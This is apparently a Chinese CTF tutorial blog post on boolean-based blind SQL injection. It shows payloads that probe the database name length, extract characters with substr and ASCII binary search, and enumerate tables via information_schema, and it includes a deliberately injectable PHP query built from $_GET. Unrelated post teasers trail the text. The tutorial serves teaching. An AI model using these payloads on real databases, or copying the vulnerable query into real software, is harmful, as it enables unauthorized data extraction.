# 判断 database 名称的长度,假设名称为 CTF (长度为3)
<原SQL语法> and length(database())>=1--
<原SQL语法> and length(database())>=2--
<原SQL语法> and length(database())>=3--
# 由於 length(CTF) 没有大於 4,回传 False,可得知database 名称长度为 3
<原SQL语法> and length(database())>=4--
# 判断 database 名称,假设名称为 CTF
# 我们SQL语法取名称第一个字,判断是否为A
<原SQL语法> and substr(database(),1,1)='A'--
<原SQL语法> and substr(database(),1,1)='B'--
# 由於 C = 'C' 回传 True,可得知 database 名称第一个字为 C
<原SQL语法> and substr(database(),1,1)='C'--
# 若我们已经得知 database 名称为 CTF
# 此时我们要找出 CTF database 中的每个 table 名称
# 求 CTF 中第一个 table 的第一个字是否为 a
<原SQL语法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 0,1),1,1)='a'
# 求 CTF 中第二个 table 的第一个字是否为 a
<原SQL语法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 1,1),1,1)='a'
参考资料:https://blog.csdn.net/SouthWind0/article/details/82917798
由於是透过控制 True / False 来使页面发生变化,从而泄露资料,我们要先确认可以控制这个 True / False 变化。
以下方 PHP 为例,在 User 存在时会显示 User exist
,而不存在时显示 Not found
:
<?php
$mysqli = new mysqli(...);
$query = "SELECT * FROM `User` WHERE `id` = {$_GET['id']}";
$result = $mysqli->query($query);
if($result->num_rows === 1) echo("User exists.");
else echo("Not found.");
假设原始 SQL 如下时,页面显示 User exists
:
# true
SELECT * FROM `User` WHERE `id` = 1
我们可以构建如下的 SQL 来测试其存在 Boolean-based SQL Injection:
# true
SELECT * FROM `User` WHERE `id` = 1 AND 2 < 3
⇒ 此时页面显示 User exists
# false
SELECT * FROM `User` WHERE `id` = 1 AND 2 > 3
⇒ 此时页面显示 Not found
由於原始 SQL 为真,因此需要搭配 AND
进行注入,反之,若原始 SQL 为 false,需要搭配 OR
进行注入,例如:
# 原始 SQL: false
SELECT * FROM `User` WHERE `id` = 1
# true
SELECT * FROM `User` WHERE `id` = 1 OR 2 < 3
# false
SELECT * FROM `User` WHERE `id` = 1 OR 2 > 3
当可控制 True / False 後,我们便可以利用其泄露资料,以昨天提过的 information_schema
为例:
SELECT * FROM `User` WHERE `id` = 1
AND **SUBSTR((**
SELECT GROUP_CONCAT(`SCHEMA_NAME`)
FROM `information_schema`.`schemata`
), 1, 1
) = 'a'
GROUP_CONCAT(
SCHEMA_NAME)
: GROUP_CONCAT
可以将所有 row 的资料串接起来,变成一笔资料,就不用一笔一笔捞。此处是把所有资料库名称串接成一个长字串。SUBSTR(..., 1, 1)
: 用来取子字串的函数,此处从第 1 个字元开始,取 1 个字元。用上述的方法可以辨别出第一个字元是否为 a
,如果是,则页面出现 User exists
,反之出现 Not found
。於是我们可以用爆搜所有字元的方式,找出资料库名称的第一个字元,接着调整 SUBSTR
的参数,取第 2 个字元,继续爆搜直到得出所有字元。
为了提升效率,通常会采用二分搜寻的方式,我们再将上述的 SQL 调整为如下形式:
SELECT * FROM `User` WHERE `id` = 1
AND **ASCII(SUBSTR((**
SELECT GROUP_CONCAT(`SCHEMA_NAME`)
FROM `information_schema`.`schemata`
), 1, 1
)) > 80
ASCII
: 将字元转为 ASCII透过将字元转为 ASCII ,就能够以数字对字元进行二分搜寻。
昨天写完查询物品拍卖价格网址後发现...既然都有各国物品名称了 乾脆多做一个查询各国物品名称并附上W...
简单型别 + 字串 简单型别定义 Case01 - 简单型别 Controller 预期 post ...
嗨~ 今天来个比较特别的主题,Avatars libraries。很多时候我们需要显示一些头贴,有的...
Responsible Drinking Codewars Bar recommends you d...
现在要来处理上一篇文章的红框部分,输入N个np.arange让他跑for loop。今天在网路上看了...